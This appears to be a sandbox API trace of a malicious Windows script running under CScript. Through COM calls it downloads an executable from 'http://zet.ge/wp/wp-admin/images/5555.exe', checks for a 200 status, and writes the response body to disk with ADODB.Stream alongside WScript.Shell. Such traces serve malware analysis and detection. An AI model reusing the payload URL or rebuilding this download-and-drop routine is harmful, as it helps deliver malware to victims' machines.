bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d2a8*=0x0) returned 0x0
	[0058.442] IUnknown:Release (This=0x95bba49e78) returned 0x1
	[0058.442] IDispatch:GetIDsOfNames (in: This=0x95b98943a0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="open", cNames=0x1, lcid=0x9500000409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=1) returned 0x0
	[0058.442] IUnknown:AddRef (This=0x95b98943a0) returned 0x2
	[0058.442] IDispatch:Invoke (in: This=0x95b98943a0, dispIdMember=1, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=([0]=0x95b977d1c0*(varType=0x3, wReserved1=0x0, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x9500000000, varVal2=0x7ffb00000000), [1]=0x95b977d1d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="http://zet.ge/wp/wp-admin/images/5555.exe", varVal2=0x95bba43290), [2]=0x95b977d1f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="GET", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=([0]=0x95b977d1c0*(varType=0x3, wReserved1=0x0, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x9500000000, varVal2=0x7ffb00000000), [1]=0x95b977d1d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="http://zet.ge/wp/wp-admin/images/5555.exe", varVal2=0x95bba43290), [2]=0x95b977d1f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="GET", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0x0) returned 0x0
	[0058.443] IUnknown:Release (This=0x95b98943a0) returned 0x1
	[0058.443] IDispatch:GetIDsOfNames (in: This=0x95b98943a0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="send", cNames=0x1, lcid=0x9500000409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=5) returned 0x0
	[0058.443] IUnknown:AddRef (This=0x95b98943a0) returned 0x2
	[0058.444] IDispatch:Invoke (in: This=0x95b98943a0, dispIdMember=5, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=0x95b9b9ab30, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=0x95b9b9ab30, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0x0) returned 0x0
	[0060.052] IUnknown:Release (This=0x95b98943a0) returned 0x1
	[0060.052] IDispatch:GetIDsOfNames (in: This=0x95b98943a0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d168*="Status", cNames=0x1, lcid=0x409, rgDispId=0x95b977d178 | out: rgDispId=0x95b977d178*=7) returned 0x0
	[0060.052] IUnknown:AddRef (This=0x95b98943a0) returned 0x2
	[0060.052] IDispatch:Invoke (in: This=0x95b98943a0, dispIdMember=7, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95b977d1c0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95b9b9ab18, pExcepInfo=0x95b977d1e0, puArgErr=0x95b977d160 | out: pDispParams=0x95b977d1c0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95b9b9ab18*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc8, varVal2=0x0), pExcepInfo=0x95b977d1e0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d160*=0xb9b9ab18) returned 0x0
	[0060.053] IUnknown:Release (This=0x95b98943a0) returned 0x1
	[0060.053] IDispatch:GetIDsOfNames (in: This=0x95b98943a0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d168*="Status", cNames=0x1, lcid=0x409, rgDispId=0x95b977d178 | out: rgDispId=0x95b977d178*=7) returned 0x0
	[0060.053] IUnknown:AddRef (This=0x95b98943a0) returned 0x2
	[0060.053] IDispatch:Invoke (in: This=0x95b98943a0, dispIdMember=7, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95b977d1c0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95b9b9ab18, pExcepInfo=0x95b977d1e0, puArgErr=0x95b977d160 | out: pDispParams=0x95b977d1c0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95b9b9ab18*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc8, varVal2=0x0), pExcepInfo=0x95b977d1e0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d160*=0xb9b9ab18) returned 0x0
	[0060.053] IUnknown:Release (This=0x95b98943a0) returned 0x1
	[0060.053] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x95b977d140 | out: lpclsid=0x95b977d140*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0060.053] SysStringLen (param_1=0x0) returned 0x0
	[0060.053] CoGetClassObject (in: rclsid=0x95b977d140*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed33a788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977d100 | out: ppv=0x95b977d100*=0x95bba7fc60) returned 0x0
	[0060.316] GetVersionExA (in: lpVersionInformation=0x95b977acb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x95b977acb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0060.316] GetUserDefaultLCID () returned 0x409
	[0060.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x95b977a820, cchData=2 | out: lpLCData="") returned 2
	[0060.316] DllGetClassObject (in: rclsid=0x95b984c780*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x95b977cae0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977bcd0 | out: ppv=0x95b977bcd0*=0x95bba7fc60) returned 0x0
	[0060.317] WshShell:IUnknown:AddRef (This=0x95bba7fc60) returned 0x2
	[0060.317] WshShell:IUnknown:Release (This=0x95bba7fc60) returned 0x1
	[0060.317] WshShell:IUnknown:QueryInterface (in: This=0x95bba7fc60, riid=0x7ffbed33a788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977cdf8 | out: ppvObject=0x95b977cdf8*=0x95bba7fc60) returned 0x0
	[0060.317] WshShell:IUnknown:Release (This=0x95bba7fc60) returned 0x1
	[0060.317] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x95b977cf20, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
	[0060.317] _strcmpi (_Str1="\\CScript.exe", _Str2="\\wscript.exe") returned -20
	[0060.317] _strcmpi (_Str1="\\CScript.exe", _Str2="\\cscript.exe") returned 0
	[0060.317] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff6dfd80000
	[0060.318] GetProcAddress (hModule=0x7ff6dfd80000, lpProcName=0x1) returned 0x7ff6dfd81350
	[0060.318] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x95b977d140 | out: lpclsid=0x95b977d140*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0
	[0060.318] SysStringLen (param_1=0x0) returned 0x0
	[0060.318] CoGetClassObject (in: rclsid=0x95b977d140*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed33a788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977d100 | out: ppv=0x95b977d100*=0x95b991eb10) returned 0x0
	[0060.615] Stream:IUnknown:QueryInterface (in: This=0x95b991eb10, riid=0x7ffbed33a798*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x95b977d108 | out: ppvObject=0x95b977d108*=0x0) returned 0x80004002
	[0060.615] Stream:IClassFactory:CreateInstance (in: This=0x95b991eb10, pUnkOuter=0x0, riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977d0f8 | out: ppvObject=0x95b977d0f8*=0x95b9918e80) returned 0x0
	[0060.621] Stream:IUnknown:Release (This=0x95b991eb10) returned 0x1
	[0060.621] IUnknown:QueryInterface (in: This=0x95b9918e80, riid=0x7ffbed33a768*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x95b977d0c0 | out: ppvObject=0x95b977d0c0*=0x95b9918ee0) returned 0x0
	[0060.623] IObjectWithSite:SetSite (This=0x95b9918ee0, pUnkSite=0x95bba7fd40) returned 0x0
	[0060.624] IUnknown:AddRef (This=0x95bba7fd40) returned 0x2
	[0060.624] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffc01a5eee8*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x95b977cf18 | out: ppvObject=0x95b977cf18*=0x0) returned 0x80004002
	[0060.624] IUnknown:AddRef (This=0x95bba7fd40) returned 0x3
	[0060.624] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffc01a5eef8*(Data1=0x39, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977ce18 | out: ppvObject=0x95b977ce18*=0x0) returned 0x80004002
	[0060.624] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffc01a5eea8*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977ce00 | out: ppvObject=0x95b977ce00*=0x0) returned 0x80004002
	[0060.624] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffc01a5e4e0*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x95b977ce20 | out: ppvObject=0x95b977ce20*=0x0) returned 0x80004002
	[0060.624] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffc01a5e4f0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977ce10 | out: ppvObject=0x95b977ce10*=0x0) returned 0x80004002
	[0060.624] IUnknown:Release (This=0x95bba7fd40) returned 0x2
	[0060.624] IUnknown:AddRef (This=0x95bba7fd40) returned 0x3
	[0060.624] IUnknown:Release (This=0x95bba7fd40) returned 0x2
	[0060.624] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffbeac16ed8*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977cff8 | out: ppvObject=0x95b977cff8*=0x0) returned 0x80004002
	[0060.624] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffbeac16f28*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977d000 | out: ppvObject=0x95b977d000*=0x95bba7fd40) returned 0x0
	[0060.624] IServiceProvider:QueryService (in: This=0x95bba7fd40, guidService=0x7ffbeac16f38*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x7ffbeac14848*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95b977d048 | out: ppvObject=0x95b977d048*=0x0) returned 0x80004002
	[0060.624] IUnknown:Release (This=0x95bba7fd40) returned 0x2
	[0060.624] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffbeac16f28*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977d008 | out: ppvObject=0x95b977d008*=0x95bba7fd40) returned 0x0
	[0060.625] IServiceProvider:QueryService (in: This=0x95bba7fd40, guidService=0x7ffbeac16f48*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x7ffbeac16f48*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x95b977d000 | out: ppvObject=0x95b977d000*=0x0) returned 0x80004002
	[0060.625] IUnknown:Release (This=0x95bba7fd40) returned 0x2
	[0060.625] IUnknown:Release (This=0x95b9918ee0) returned 0x1
	[0060.625] IUnknown:QueryInterface (in: This=0x95b9918e80, riid=0x7ffbed33a8d8*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x95b977d070 | out: ppvObject=0x95b977d070*=0x0) returned 0x80004002
	[0060.625] IUnknown:QueryInterface (in: This=0x95b9918e80, riid=0x7ffbed33a8e8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x95b977d080 | out: ppvObject=0x95b977d080*=0x0) returned 0x80004002
	[0060.625] IUnknown:QueryInterface (in: This=0x95b9918e80, riid=0x7ffbed33a8f8*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95b977d088 | out: ppvObject=0x95b977d088*=0x0) returned 0x80004002
	[0060.625] IUnknown:QueryInterface (in: This=0x95b9918e80, riid=0x7ffbed337858*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x95b977d010 | out: ppvObject=0x95b977d010*=0x0) returned 0x80004002
	[0060.625] IUnknown:QueryInterface (in: This=0x95b9918e80, riid=0x7ffbed33a8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977d018 | out: ppvObject=0x95b977d018*=0x95b9918e80) returned 0x0
	[0060.625] IUnknown:Release (This=0x95b9918e80) returned 0x1
	[0060.625] IDispatch:GetIDsOfNames (in: This=0x95b9918e80, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="Open", cNames=0x1, lcid=0x7ffb00000409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=10) returned 0x0
	[0060.626] IUnknown:AddRef (This=0x95b9918e80) returned 0x2
	[0060.626] IDispatch:Invoke (in: This=0x95b9918e80, dispIdMember=10, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=0x95b9b9ab30, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=0x95b9b9ab30, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0x0) returned 0x0
	[0060.628] IUnknown:Release (This=0x95b9918e80) returned 0x1
	[0060.628] IDispatch:GetIDsOfNames (in: This=0x95b9918e80, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d168*="Type", cNames=0x1, lcid=0x409, rgDispId=0x95b977d178 | out: rgDispId=0x95b977d178*=4) returned 0x0
	[0060.629] IUnknown:AddRef (This=0x95b9918e80) returned 0x2
	[0060.629] IDispatch:Invoke (in: This=0x95b9918e80, dispIdMember=4, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x95b977d1c0*(rgvarg=([0]=0x95b9b9ab00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9500000001, varVal2=0x0)), rgdispidNamedArgs=([0]=0x95b977d220*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x95b977d1e0, puArgErr=0x95b977d160 | out: pDispParams=0x95b977d1c0*(rgvarg=([0]=0x95b9b9ab00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9500000001, varVal2=0x0)), rgdispidNamedArgs=([0]=0x95b977d220*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x95b977d1e0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d160*=0x0) returned 0x0
	[0060.629] IUnknown:Release (This=0x95b9918e80) returned 0x1
	[0060.629] IDispatch:GetIDsOfNames (in: This=0x95b9918e80, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d168*="Position", cNames=0x1, lcid=0x409, rgDispId=0x95b977d178 | out: rgDispId=0x95b977d178*=3) returned 0x0
	[0060.629] IUnknown:AddRef (This=0x95b9918e80) returned 0x2
	[0060.629] IDispatch:Invoke (in: This=0x95b9918e80, dispIdMember=3, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x95b977d1c0*(rgvarg=([0]=0x95b9b9ab00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9500000000, varVal2=0x0)), rgdispidNamedArgs=([0]=0x95b977d220*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x95b977d1e0, puArgErr=0x95b977d160 | out: pDispParams=0x95b977d1c0*(rgvarg=([0]=0x95b9b9ab00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9500000000, varVal2=0x0)), rgdispidNamedArgs=([0]=0x95b977d220*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x95b977d1e0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d160*=0x0) returned 0x0
	[0060.630] IUnknown:Release (This=0x95b9918e80) returned 0x1
	[0060.630] IDispatch:GetIDsOfNames (in: This=0x95b98943a0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d168*="ResponseBody", cNames=0x1, lcid=0x409, rgDispId=0x95b977d178 | out: rgDispId=0x95b977d178*=10) returned 0x0
	[0060.630] IUnknown:AddRef (This=0x95b98943a0) returned 0x2
	[0060.630] IDispatch:Invoke (in: This=0x95b98943a0, dispIdMember=10, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95b977d1c0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95b9b9ab18, pExcepInfo=0x95b977d1e0, puArgErr=0x95b977d160 | out: pDispParams=0x95b977d1c0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95b9b9ab18*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95bc1e0e90*(cDims=0x1, fFeatures=0x2080, cbElements=0x1, cLocks=0x0, pvData=0x95bc1e0eb0*, rgsabound=((cElements=0x39e09, lLbound=0))), varVal2=0x0), pExcepInfo=0x95b977d1e0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d160*=0xb9b9ab18) returned 0x0
	[0060.633] IUnknown:Release (This=0x95b98943a0) returned 0x1
	[0060.634] IDispatch:GetIDsOfNames (in: This=0x95b9918e80, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="Write", cNames=0x1, lcid=0x409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=13) returned 0x0
	[0060.634] IUnknown:AddRef (This=0x95b9918e80) returned 0x2
	[0060.634] IDispatch:Invoke (in: This=0x95b9918e80, dispIdMember=13, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=([0]=0x95b977d1c0*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95bc1e0e90*(cDims=0x1, fFeatures=0x2080, cbElements=0x1, cLocks=0x0, pvData=0x95bc1e0eb0*, rgsabound=((cElements=0x39e09, lLbound=0))), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=([0]=0x95b977d1c0*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95bc1e0e90*(cDims=0x1, fFeatures=0x2080, cbElements=0x1, cLocks=0x0, pvData=0x95bc1e0eb0*, rgsabound=((cElements=0x39e09, lLbound=0))), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, 